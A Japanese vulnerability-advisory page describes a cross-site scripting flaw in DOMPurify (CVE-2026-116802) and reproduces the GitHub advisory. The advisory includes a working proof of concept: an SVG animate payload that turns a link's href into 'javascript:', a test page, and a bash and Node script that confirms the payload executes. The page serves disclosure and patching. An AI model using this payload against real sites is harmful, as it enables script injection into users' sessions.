GUARD SAGAS

DOMPurifyにクロスサイトスクリプティング(XSS)の脆弱性(CVE-2026-116802)

公開日 更新日 危険度:中

概要

DOMPurifyにクロスサイトスクリプティング(XSS)の脆弱性が確認されました。

バージョン 3.4.17 未満に影響があります。

修正版 3.4.17 への更新が推奨されます。

脆弱性の基本情報

脆弱性ID CVE-2026-116802
GHSA-c6gr-qvv4-5v3f
脆弱性の種類クロスサイトスクリプティング(XSS) (CWE-79)
危険度中
CVSSスコア 6.1(CVSS v3.1) 評価元:CVE List(CVE Program)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
公開日2026年10月22日
更新日2026年10月27日

影響を受ける製品

製品影響を受けるバージョン修正版出典
DOMPurify
JavaScriptライブラリ
3.4.17 未満 3.4.17 OSV.dev

推奨対応

  • DOMPurifyを修正版 3.4.17 またはそれ以降の公式最新版へ更新してください。

情報元の原文

OSV.dev(GitHub Advisory Database) GHSA-c6gr-qvv4-5v3f

DOMPurify: SMIL attributeName=href guard is skipped when PARSER_MEDIA_TYPE is application/xhtml+xml

### Summary DOMPurify drops `attributeName` attributes whose value contains `href`, so an allowed `<animate>` or `<set>` can't rewrite a link's href after sanitizing. The check compares the attribute name after `transformCaseFunc`, and that function doesn't lowercase in XHTML mode. In XHTML the attribute is spelled `attributeName`, so the comparison with `"attributename"` never matches and the guard does nothing. An app that uses `PARSER_MEDIA_TYPE: 'application/xhtml+xml'` and allows `animate` and `attributeName` will keep `<animate attributeName="href" values="x;javascript:alert(1)">`. Clicking the parent link then runs the script. This needs a non-default config, so going by SECURITY.md, this is a hardening bug rather than a bypass of the default config. ### Details In `_sanitizeAttributes` (dist/purify.js line 2216 in 3.4.16): ```js const lcName = transformCaseFunc(name); ... if (lcName === "attributename" && stringMatch(value, "href")) { _removeAttribute(name, currentNode, attr); continue; } ``` `transformCaseFunc` is `stringToLowerCase` for text/html but the identity function for application/xhtml+xml, because XML names are case-sensitive. The XML parser keeps SVG's real name `attributeName`, so in XHTML mode `lcName` is `attributeName` and the branch never runs. People using XHTML mode have to list SVG attributes in camelCase. The built-in attribute lists are lowercase and won't match, so `ALLOWED_ATTR`/`ADD_ATTR: ['attributeName', ...]` is the config you'd naturally write here. The value also passes the URI check. `IS_ALLOWED_URI` only checks the start of the string, and `x;javascript:alert(1)` looks like a relative value. SMIL reads `values` as a `;` list and, with `fill="freeze"`, the last entry ends up as the effective href of the parent `<a>`. In text/html mode the same allowlist is handled correctly. The name is lowercased and `attributeName` is removed. This is close to the XHTML case-sensitivity hardening in 3.4.14/3.4.15 (Attack Classes & Bypass History §22): a check written for lowercase names that a case-preserved name gets past. ### Proof of concept Tested with DOMPurify 3.4.16 in Chrome 153 (headless shell). Also reproduced on 3.3.3, 3.3.1 and 3.2.7. Not confirmed for 2.x. Config: ```js const cfg = { PARSER_MEDIA_TYPE: 'application/xhtml+xml', ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'], ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'], }; ``` `{ PARSER_MEDIA_TYPE: 'application/xhtml+xml', USE_PROFILES: { svg: true }, ADD_TAGS: ['animate'], ADD_ATTR: ['attributeName'] }` behaves the same. Input: ```html <svg xmlns="http://www.w3.org/2000/svg" width="200" height="60"><a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/><text x="10" y="40" font-size="30">click</text></a></svg> ``` Steps: 1. Save this as `poc.xhtml` next to `purify.js` (3.4.16) and open it in Chrome. The `.xhtml` extension makes Chrome load it as application/xhtml+xml, so nothing moves between HTML and XHTML. ```html <html xmlns="http://www.w3.org/1999/xhtml"><head><title>poc</title> <script src="purify.js"></script></head><body><div id="sink"></div> <script>//<![CDATA[ const cfg = { PARSER_MEDIA_TYPE: 'application/xhtml+xml', ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'], ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'], }; const dirty = '<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60"><a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/><text x="10" y="40" font-size="30">click</text></a></svg>'; const clean = DOMPurify.sanitize(dirty, cfg); console.log(clean); document.getElementById('sink').innerHTML = clean; //]]></script></body></html> ``` 2. The logged output still contains `attributeName="href"` and `values="x;javascript:alert(1)"`. 3. `document.getElementById('q').href.animVal` returns `"javascript:alert(1)"`. 4. Click "click" and `alert(1)` runs. As a control, remove `PARSER_MEDIA_TYPE` and change the allowlist entry to `attributename`. The output then loses `attributeName`, `href.animVal` is `""`, and clicking does nothing. The same XHTML-mode output also runs when inserted into a normal text/html page. An automated version (fetches a given version from npm, clicks via CDP, checks for the dialog, runs the control) is below. <details> <summary>poc.sh</summary> ```bash #!/usr/bin/env bash # PoC: DOMPurify SMIL attributeName=href guard bypass in XHTML parser mode. # # Sanitizes an SVG payload with a PARSER_MEDIA_TYPE:"application/xhtml+xml" # config that allow-lists <animate> + attributeName, renders the output into # div.innerHTML in headless Chromium, clicks the link with a trusted (CDP) mouse # event and reports whether alert() fired. Also runs the same allowlist in # text/html mode as a control (DOMPurify strips attributeName there). # # usage: ./poc.sh [dompurify-version] (default 3.4.16, fetched via `npm pack`) # DOMPURIFY_JS=/path/to/purify.js ./poc.sh # CHROME=/path/to/chrome ./poc.sh # needs: node >= 18, npm (unless DOMPURIFY_JS is set), a Chromium/Chrome binary. # exit: 0 = vulnerable (alert fired in xhtml mode), 1 = not vulnerable, 2 = setup error set -euo pipefail VER="${1:-3.4.16}" WORK="$(mktemp -d)" trap 'rm -rf "$WORK"' EXIT if [ -z "${DOMPURIFY_JS:-}" ]; then (cd "$WORK" && npm pack "dompurify@$VER" --silent >/dev/null 2>&1 && tar xzf dompurify-*.tgz) || { echo "npm pack dompurify@$VER failed" >&2; exit 2; } DOMPURIFY_JS="$WORK/package/dist/purify.js" fi if [ -z "${CHROME:-}" ]; then for c in "$HOME"/.cache/ms-playwright/chromium_headless_shell-*/chrome-headless-shell-linux64/chrome-headless-shell \ "$HOME"/.cache/ms-playwright/chromium-*/chrome-linux/chrome \ "$(command -v google-chrome || true)" "$(command -v chromium || true)" "$(command -v chromium-browser || true)"; do [ -n "$c" ] && [ -x "$c" ] && CHROME="$c" && break done fi [ -n "${CHROME:-}" ] || { echo "no Chrome/Chromium found; set CHROME=" >&2; exit 2; } cat > "$WORK/poc.html" <<'EOF' <!doctype html><meta charset="utf-8"><title>poc</title> <script src="purify.js"></script> <div id="sink"></div> <script>//<![CDATA[ const payload = '<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60">' + '<a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/>' + '<text x="10" y="40" font-size="30">click</text></a></svg>'; function run(mode) { const cfg = { ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'], ALLOWED_ATTR: [mode === 'xhtml' ? 'attributeName' : 'attributename', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'], }; if (mode === 'xhtml') cfg.PARSER_MEDIA_TYPE = 'application/xhtml+xml'; const clean = DOMPurify.sanitize(payload, cfg); document.getElementById('sink').innerHTML = clean; return clean; } //]]></script> EOF cp "$DOMPURIFY_JS" "$WORK/purify.js" # Same test inside a real XHTML document (no HTML<->XHTML context flip): # the page is parsed as application/xhtml+xml and the sink's innerHTML uses the XML fragment parser. sed -e 's#<!doctype html><meta charset="utf-8"><title>poc</title>#<html xmlns="http://www.w3.org/1999/xhtml"><head><title>poc</title>#' \ -e 's#<script src="purify.js"></script>#<script src="purify.js"></script></head><body>#' \ -e 's#^</script>$#</script></body></html>#' "$WORK/poc.html" > "$WORK/poc.xhtml" cat > "$WORK/drive.js" <<'EOF' // zero-dependency CDP driver over --remote-debugging-pipe const { spawn } = require('child_process'); const [chrome, url, dir] = process.argv.slice(2); const xurl = url.replace(/\.html$/, '.xhtml'); const p = spawn(chrome, ['--headless', '--no-sandbox', '--remote-debugging-pipe', '--disable-gpu', '--no-first-run', `--user-data-dir=${dir}/profile`, 'about:blank'], { stdio: ['ignore', 'ignore', 'ignore', 'pipe', 'pipe'] }); let id = 0, buf = ''; const pend = new Map(), dialogs = []; p.stdio[4].on('data', (d) => { buf += d; let i; while ((i = buf.indexOf('\0')) >= 0) { const m = JSON.parse(buf.slice(0, i)); buf = buf.slice(i + 1); if (m.id && pend.has(m.id)) { pend.get(m.id)(m); pend.delete(m.id); } else if (m.method === 'Page.javascriptDialogOpening') { dialogs.push(m.params.message); send('Page.handleJavaScriptDialog', { accept: true }, m.sessionId); } } }); function send(method, params = {}, sessionId) { return new Promise((r) => { const n = ++id; pend.set(n, r); p.stdio[3].write(JSON.stringify({ id: n, method, params, sessionId }) + '\0'); }); } const sleep = (ms) => new Promise((r) => setTimeout(r, ms)); (async () => { const { result: { targetId } } = await send('Target.createTarget', { url: 'about:blank' }); const { result: { sessionId: s } } = await send('Target.attachToTarget', { targetId, flatten: true }); await send('Page.enable', {}, s); await send('Runtime.enable', {}, s); const ev = async (e) => (await send('Runtime.evaluate', { expression: e, returnByValue: true, awaitPromise: true }, s)).result.result.value; let vulnerable = false, xhtmlDoc = false; const ver = async () => ev('DOMPurify.version'); for (const [mode, page] of [['html', url], ['xhtml', url], ['xhtml', xurl]]) { await send('Page.navigate', { url: page }, s); await sleep(500); const docType = await ev('document.contentType'); if (mode === 'html') console.log('DOMPurify', await ver(), '/', await ev('navigator.userAgent.match(/Chrome\\/[\\d.]+/)[0]')); dialogs.length = 0; const clean = await ev(`run(${JSON.stringify(mode)})`); await sleep(400); // let the 0.01s animation apply (fill=freeze) const href = await ev(`(()=>{const a=document.getElementById('q');return a?a.href.animVal:null})()`); const box = await ev(`(()=>{const t=document.querySelector('#sink text');if(!t)return null;const r=t.getBoundingClientRect();return [r.x+r.width/2,r.y+r.height/2]})()`); if (box) for (const type of ['mouseMoved', 'mousePressed', 'mouseReleased']) await send('Input.dispatchMouseEvent', { type, x: box[0], y: box[1], button: 'left', clickCount: 1 }, s); await sleep(800); console.log(`\n[${mode} mode, sink document ${docType}] sanitized output:\n ${clean}`); console.log(` animated <a> href (animVal): ${JSON.stringify(href)}`); console.log(` alert() fired on click: ${dialogs.length ? 'YES ' + JSON.stringify(dialogs) : 'no'}`); if (mode === 'xhtml' && dialogs.length) vulnerable = true; if (mode === 'xhtml' && docType === 'application/xhtml+xml') xhtmlDoc = dialogs.length > 0; } console.log(vulnerable ? `\nRESULT: VULNERABLE (javascript: executed in XHTML mode; pure-XHTML document sink: ${xhtmlDoc ? 'also executes' : 'no'})` : '\nRESULT: not vulnerable'); p.kill('SIGKILL'); process.exit(vulnerable ? 0 : 1); })().catch((e) => { console.error(e); p.kill('SIGKILL'); process.exit(2); }); EOF node "$WORK/drive.js" "$CHROME" "file://$WORK/poc.html" "$WORK" ``` </details> ### Impact Stored or reflected XSS on a click. It affects apps that sanitize SVG in XHTML mode and allow `animate` (or `set`) with `attributeName`, for example to keep simple SVG animations. Script runs in the app's origin when a user clicks the sanitized link. Default configs and text/html mode aren't affected.
利用条件:CC BY 4.0
出典: GitHub Advisory Database(OSV.dev 経由で取得)。原文のまま掲載(改変なし)
CVE List(CVE Program) CVE-2026-116802

DOMPurify before 3.4.17 XSS via SMIL attributeName Guard Bypass in XHTML Mode

DOMPurify before 3.4.17 contains a cross-site scripting vulnerability that allows attackers to bypass the SMIL attributeName=href guard when PARSER_MEDIA_TYPE is application/xhtml+xml, because transformCaseFunc does not lowercase attribute names. Attackers can submit SVG with an animate or set element using attributeName="href" and a javascript: entry in values to execute script when users click the sanitized link.
利用条件:CVE の利用条件(CVE Terms of Use)・原文のまま掲載
Copyright 1999-2026 The MITRE Corporation
CVE Usage: MITRE hereby grants you a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute Common Vulnerabilities and Exposures (CVE®). Any copy you make for such purposes is authorized provided that you reproduce MITRE's copyright designation and this license in any such copy.

情報元

このページは各情報源から定期取得した情報を自動で掲載しています。日本語の表示は取得済みのデータ(製品・影響バージョン・修正版・CVSS 等)から定型文で作成しており、AIによる生成・翻訳は行っていません。取得できていない情報は表示していません。最新の情報は情報元でご確認ください。

あなたのサイトは大丈夫ですか?

GUARD SAGAS の無料診断で、CMS・サーバーのバージョンや既知の脆弱性への該当状況を確認できます。

無料診断をはじめる

← 脆弱性情報の一覧へ